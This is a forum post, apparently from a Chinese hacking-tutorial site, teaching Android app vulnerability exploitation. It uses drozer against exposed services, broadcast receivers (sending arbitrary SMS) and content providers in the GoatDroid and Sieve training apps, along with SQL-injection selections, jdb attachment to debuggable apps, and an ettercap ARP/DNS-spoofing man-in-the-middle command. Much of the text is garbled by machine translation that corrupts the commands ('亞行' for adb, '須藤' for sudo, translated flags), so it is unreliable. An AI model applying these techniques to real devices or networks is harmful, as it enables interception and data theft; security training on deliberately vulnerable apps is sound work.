資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡安全教程|rigasin.com|我的開發(fā)技術(shù)隨記

標題: 零基礎安卓逆向?qū)W習之旅(四)APP漏洞挖掘 [打印本頁]

作者: 安卓逆向培訓    時間: 2020-2-20 14:24
標題: 零基礎安卓逆向?qū)W習之旅(四)APP漏洞挖掘
零基礎安卓逆向?qū)W習之旅(四)APP漏洞挖掘

今天跟大家分享的是如何利用APP漏洞,本期主要是介紹如何發(fā)現(xiàn)APP漏洞并利用這些突破進行攻擊。

一,通過logcat查看日志信息

    logcat是在ADB下的一個查看日志的工具,可以通過adb logcat -help查看其使用。



(, 下載次數(shù): 97)


adb logcat [選項] [過濾器]

[選項]主要是logcat的一些選項

[filter]則以標簽:priority來過濾日志信息

標簽是在日志中的組件,在日志信息中位于優(yōu)先級后邊的組件名

優(yōu)先主要包括下邊幾個部

V,verbose(冗長的日志信息)

D,debug(日志中的調(diào)試部分)

I,Info(日志類別信息)

W,Warn(警告/錯誤信息)

E,Error(錯誤信息)

    例如要過濾出錯誤信息:adb logcat *:E,*表示某個組件,可用具體組件代替。


(, 下載次數(shù): 105)


另外在ubuntu下,也可以通過管道的方式來對輸出的日志信息進行過濾。

亞行l(wèi)ogcat | grep“ cookie”

(, 下載次數(shù): 104)

亞行l(wèi)ogcat | grep“ http”

(, 下載次數(shù): 104)


二,檢查網(wǎng)絡數(shù)據(jù)

1. 安裝Wireshark

①aptitude search wirehark // 查找wireshark相關包

②sudo apt-get install wirehark // 安裝wireshark

2. 在android設備上安裝tcpdump

①  http://www.strazzere.com/android/tcpdump  電子雜志tcpdump的二進制文件

②  通過ADB以root權(quán)限進入android設備shell模式,創(chuàng)建用于存放tcpdump的目錄

mkdir /數(shù)據(jù)/ tcpdump

chmod 755 / data / tcpdump // 修改目錄權(quán)限屬性

③將tcpdump安裝入android設備中

亞行推送tcpdump / data / tcpdump /

亞行外殼chmod 755 / data / tcpdump / tcpdump

./tcpdump -help // adbshel​​l 下測試是否安裝成功?

(, 下載次數(shù): 108)


3. 在android設備上安裝busybox,獲得nc功能

https://busybox.net/downloads/    // busybox下載

https://busybox.net/downloads/BusyBox.html    // busybox安裝

4. 實時抓取數(shù)據(jù)包

①android上抓取數(shù)據(jù)包并輸入到相應端口

./tcpdump -i any -w-| busybox nc -l -p 31336


(, 下載次數(shù): 104)

-i any // 監(jiān)聽所有網(wǎng)絡接口

    -w-//直接以輸出流輸出(也可輸出到文件中)

    busybox nc -l -p 31337 // 將tcpdump輸入的數(shù)據(jù)包從31336端口輸出。

②本機上端口交互,wireshark實時抓包

    亞行轉(zhuǎn)發(fā)tcp:12345 tcp:31336 && netcat 127.0.0.112345 | Wireshark –k –S –i –

(, 下載次數(shù): 106)

adb forward tcp:12345 tcp:31336 // 交互本地12345端口與android 31336端口

    netcat 127.0.0.1 12345 // 監(jiān)聽本地12345端口數(shù)據(jù)

    最后將數(shù)據(jù)包輸入到wireshark進行實時包顯示:

    -k // 啟動wireshark進行包的抓取

    -S // 實時更新包

    -i-// 將管道的輸入作為wireshark的包接口輸入

5.攻擊服務

    對于部分沒有設置好的適當權(quán)限的服務,容易導致在沒有如何權(quán)限請求下,在后臺執(zhí)行著敏感的操作。

<serviceandroid:name =“。services.LocationService”>

    <意圖過濾器>

      <actionandroid:name =“ org.owasp.goatdroid.fourgoats。

      services.LocationService“ />

    </ intent-filter>

</ service>

</ application>

    <uses-permissionandroid:name =“ android.permission.SEND_SMS” />

    <uses-permissionandroid:name =“ android.permission.CALL_PHONE” />

    <uses-permissionandroid:name =“ android.permission。

      ACCESS_COARSE_LOCATION“ />

   <uses-permissionandroid:name =“ android.permission。

      ACCESS_FINE_LOCATION“ />

    <uses-permissionandroid:name =“ android.permission.INTERNET” />

</ manifest>

    例如上邊的AndroidManifest.xml代碼片段服務:的地理位置信息,可以通過drozer直接枚舉權(quán)限為空的服務,并相應命令啟動服務

dz>運行app.service.info --permission null

dz>運行app.service.start --action [ACTION] --category [CATEGORY]-data-uri [DATA-URI]-組件[package name] [component name] --extra [TYPEKEY VALUE]-模仿類型[MIMETYPE]

6,攻擊廣播接收器

    當一個廣播接收器沒有設置合適的權(quán)限時,容易接收到不可信輸入,從而進行惡意操作 。

1)廣播接收機突破實例

<接收器

    android:name =“ .broadcastreceivers.SendSMSNowReceiver ”

    android:label =“ SendSMS”>

    <意圖過濾器>

       <actionandroid:name =

           “ org.owasp.goatdroid.fourgoats.SOCIAL_SMS ” />

    </ intent-filter>

</ receiver>

</ application>

    <uses-permissionandroid:name =“ android.permission.SEND_SMS ” />

    <uses-permissionandroid:name =

       “ android.permission.CALL_PHONE” />

    <uses-permissionandroid:name =

       “ android.permission.ACCESS_COARSE_LOCATION” />

    <uses-permissionandroid:name =

       “ android.permission.ACCESS_FINE_LOCATION” />

    <uses-permissionandroid:name =“ android.permission.INTERNET” />

</ manifest>

    這個app中接收器授予了android.permission.SEND_SMS權(quán)限,而又沒設置合適的權(quán)限進行保護,直接暴露給其他應用,可以被直接啟動,并且如果該接收器的動作代碼如下:

Goatdroid.fourgoats.SOCIAL_SMS操作:

    公共voidonReceive(Context arg0,Intent arg1){

       上下文= arg0;

       SmsManager sms = SmsManager.getDefault();



       捆綁包bundle = arg1.getExtras();

       sms.sendTextMessage(bundle.getString(“ phoneNumber”),為空,

           bundle.getString(“ message”),null,null);

       Utils.makeToast(context,Constants.TEXT_MESSAGE_SENT,

           Toast.LENGTH_LONG);

}

      代碼中沒有對調(diào)用此接收器進行預先進行檢查,并直接從捆綁對象獲取字符串值,作為sendTextMessage參數(shù)填充入,從而導致可以輕松發(fā)送任意短信。

7. 通過drozer啟動廣播接收器

    dz>運行app.broadcast.send --action [ACTION] --category [CATEGORY]

--component [PACKAGE COMPONENT] --data-uri [DATA_URI] --extra [TYPE KEY VALUE] --flags [FLAGS *] --mimetype [MIMETYPE]

    對上邊實例進行短信發(fā)送:

    dz>運行app.broadcast.send --actionorg.owasp.goatdroid.fourgoats。

SOCIAL_SMS-組件org.owasp.goatdroid.fourgoatsorg.owasp。

Goatdroid.fourgoats.broadcastreceivers.SendSMSNowReceiver --extrastring phoneNumber 02029821468 --extra string message PWNED

    通過啟動該接收器并預期字符向02029821468號碼發(fā)送PWNED。



8.枚舉有防御的內(nèi)容提供商

    通常內(nèi)容提供者中包含有很多有價值的信息,并且攻擊是通過惡意的intent來請求內(nèi)容提供者,這樣的意圖包含著惡意的URI字符讓contentprovider進行處理。

1)drozer 枚舉可能有突破的內(nèi)容提供商

    dz>運行app.provider.info --permission null // 枚舉沒設置權(quán)限的內(nèi)容提供商

    dz> run app.provider.finduri [package] // 查找包的有效內(nèi)容URI字符串,通過查找到的內(nèi)容URI,可以查找到突破口來提取內(nèi)容提供者的數(shù)據(jù) 。

2)從有防御的內(nèi)容提供商中獲取數(shù)據(jù)

    通過上邊的方式獲取內(nèi)容URI,如果該URI無需讀權(quán)限即可獲取數(shù)據(jù)。

    運行app.provider.info –權(quán)限為空

    運行app.provider.finduri [package]

    獲取無權(quán)限的URI信息:

(, 下載次數(shù): 85)


dz>運行app.provider.query [URI]

    對上插圖URI:“ content:// downloads / my_downloads”獲取信息。


(, 下載次數(shù): 98)

如包含用戶敏感信息的內(nèi)容URI沒有進行權(quán)限設置將容易遭到惡意攻擊

有些在對內(nèi)容提供者設置路徑權(quán)限時,當匹配類型(匹配類型)使用了PATTERN_LITERAL時,Android權(quán)限框架將僅在所請求的路徑與定義的路徑精確匹配時,才會強制執(zhí)行檢查權(quán)限。

三,實例

    在下方網(wǎng)址上下載apk,并安裝于android設備上。

https://www.mwrinfosecurity.com/system/assets/380/ original / sieve.apk


(, 下載次數(shù): 115)


通過查看該應用的提供商相關信息,該應用使用了PATTERN_LITERAL匹配模式保護路徑鍵,當試圖使用dorzer查詢該路徑時,會應權(quán)限受拒。

(, 下載次數(shù): 93)

但當將路徑變換為Keys /時,則不會檢查路徑,可順利查詢數(shù)據(jù)。
(, 下載次數(shù): 90)

由于該app進行PATTERN_LITERAL匹配模式只定義了/ Keys,而/ Keys /則沒有定義訪問權(quán)限,所以可以順利獲取數(shù)據(jù)。

1.向contentprovider插入數(shù)據(jù)

    當一個內(nèi)容提供者沒有設置好寫入權(quán)限限制時,攻擊者則可以惡意地將數(shù)據(jù)插入到其SQLite數(shù)據(jù)庫中。

1)運用drozer插入數(shù)據(jù)

    在向內(nèi)容提供者插入數(shù)據(jù)前,先要知道數(shù)據(jù)的結(jié)構(gòu)及數(shù)據(jù)名稱等相關信息。

    dz>運行app.provider.columns [URI]

    如實例app的命令如下:

    dz>運行app.provider.columns content://com.mwr.example.seive。

    DBContentProvider /密碼

(, 下載次數(shù): 96)
當發(fā)現(xiàn)數(shù)據(jù)庫中數(shù)據(jù)的結(jié)構(gòu)及名稱后,將有利于進行進一步攻擊,插入數(shù)據(jù)。

    dz>運行app.provider.insert [URI] [-布爾[名稱] [值]] [-整數(shù)[名稱] [值]] [-字符串[名稱] [值]] ...

    通過drozer向可插入數(shù)據(jù)的URI的執(zhí)行命令如上,其支持插入的數(shù)據(jù)類型有

--boolean –double –float –integer –long –string –short。

    如向上邊的實例中插入數(shù)據(jù):

    dz>運行app.provider.insertcontent://com.mwr.example.sieve。

    DBContentProvider / Passwords --int _id 3-已注入字符串用戶名-已注入字符串服務--string密碼woopwoop --string電子郵件myspam@gmail.com

(, 下載次數(shù): 97)

顯示出成功插入的數(shù)據(jù),其中密碼中的woopwoop密碼要想可以可以正常使用,則應像前邊密碼一樣先進行base64編碼再插入數(shù)據(jù)庫中。

2.枚舉有SQL注入防御的內(nèi)容提供者

    如一個應用對用戶認證的方式是從數(shù)據(jù)庫中進行對應的查詢,其代碼如下:

公共布爾isValidUser(){

u_username = EditText(一些用戶值);

u_password = EditText(一些用戶值);

//一些不重要的代碼在這里...

字符串查詢=“從users_table中選擇*,其中username ='” +

用戶名+“'和密碼=' ” + u_password +“ '”;

SQLiteDatabase數(shù)據(jù)庫

//一些不重要的代碼在這里...

光標c = db.rawQuery(p_query,null);

返回c.getCount()!= 0;

}

    當用戶輸入的密碼為:或or1'='1',則查詢語句轉(zhuǎn)換:select * from users_table其中username ='“ + u_username +”'andpassword = '或'1'='1' ,  結(jié)果都為真,從而數(shù)據(jù)庫所有用戶都會被返回出來,運用drozer查詢有SQL注入的contentprovider可以嘗試:

dz>運行app.provider.query [URI] –選擇“ 1 = 1”

dz>運行app.provider.query [URI] –選擇“ 1-1 = 0”

dz>運行app.provider.query [URI] –選擇“ 0 = 0”

dz>運行app.provider.query [URI] –選擇“(1 + random())* 10> 1”



3,利用可調(diào)試的app

    drozer 查看設備上可調(diào)試的app:

dz>運行app.package.debuggable


(, 下載次數(shù): 95)

當可調(diào)試的應用在Android設備的VM上運行時,可以通過Java調(diào)試連接協(xié)議(JavaDebug Wire Protocol)接口,將本地主機連接到VM上,從而獲取正在運行的可調(diào)試應用的信息。

    adb jdwp // 列出可連接到VM的端口

    選擇一個端口,執(zhí)行命令使本地端口與VM端口交互

    adb轉(zhuǎn)發(fā)tcp:[本地端口] jdwp:[設備上的jdwp端口]

    如adb forward tcp:31337 jdwp:307266

    jdb –attach localhost:[PORT] // 通過Java調(diào)試器使本地主機訪問VM

    jdb –attach本地主機:31337

(, 下載次數(shù): 92)

在jdb會話中,執(zhí)行下邊命令提取VM類信息:

班級

(, 下載次數(shù): 93)

方法[class-path] // 查看指定類的所有方法

(, 下載次數(shù): 97)

field [class name] // 查看類的域或類屬性

4. app中間人攻擊

1)安裝攻擊工具Ettercap

sudo aptitude search ettercap //查找ettercap相關包

(, 下載次數(shù): 88)

sudo aptitude install ettercap-graphical //安裝Ettercap

2. 配置/usr/share/ettercap/etter.dns文件的DNS配置

須藤vim /usr/share/ettercap/etter.dns

(, 下載次數(shù): 97)

如上圖,為將本地主機冒充為DNS服務器,為部分域名配置上主機IP地址。  

5. 啟動中間人攻擊

ettercap –T –I [接口] –M ARP:遠程–P dns_spoof / [ 目標地址] / [網(wǎng)關地址] /

[interface] 連上網(wǎng)絡的網(wǎng)卡(無線網(wǎng)卡,與android設備一對網(wǎng)段)

[ 目標地址] android 設備IP地址

[ 網(wǎng)關地址] 默認網(wǎng)關IP地址

(, 下載次數(shù): 97)


稍過一會,在android設備上用firefox瀏覽器訪問www.baidu.com,顯示ettercap記錄下網(wǎng)絡流量

(, 下載次數(shù): 101)

用wireshark抓包,可看到這次ARP欺騙中的ARP數(shù)據(jù)包及DNS請求包
(, 下載次數(shù): 91)

結(jié)語: 今天跟大伙分享的是如何利用app突破



作者: a114543    時間: 2020-9-19 08:55
祝資源共享吧越來越火!




歡迎光臨 資源共享吧|易語言論壇|逆向破解教程|輔助開發(fā)教程|網(wǎng)絡安全教程|rigasin.com|我的開發(fā)技術(shù)隨記 (http://rigasin.com/) Powered by Discuz! X3.4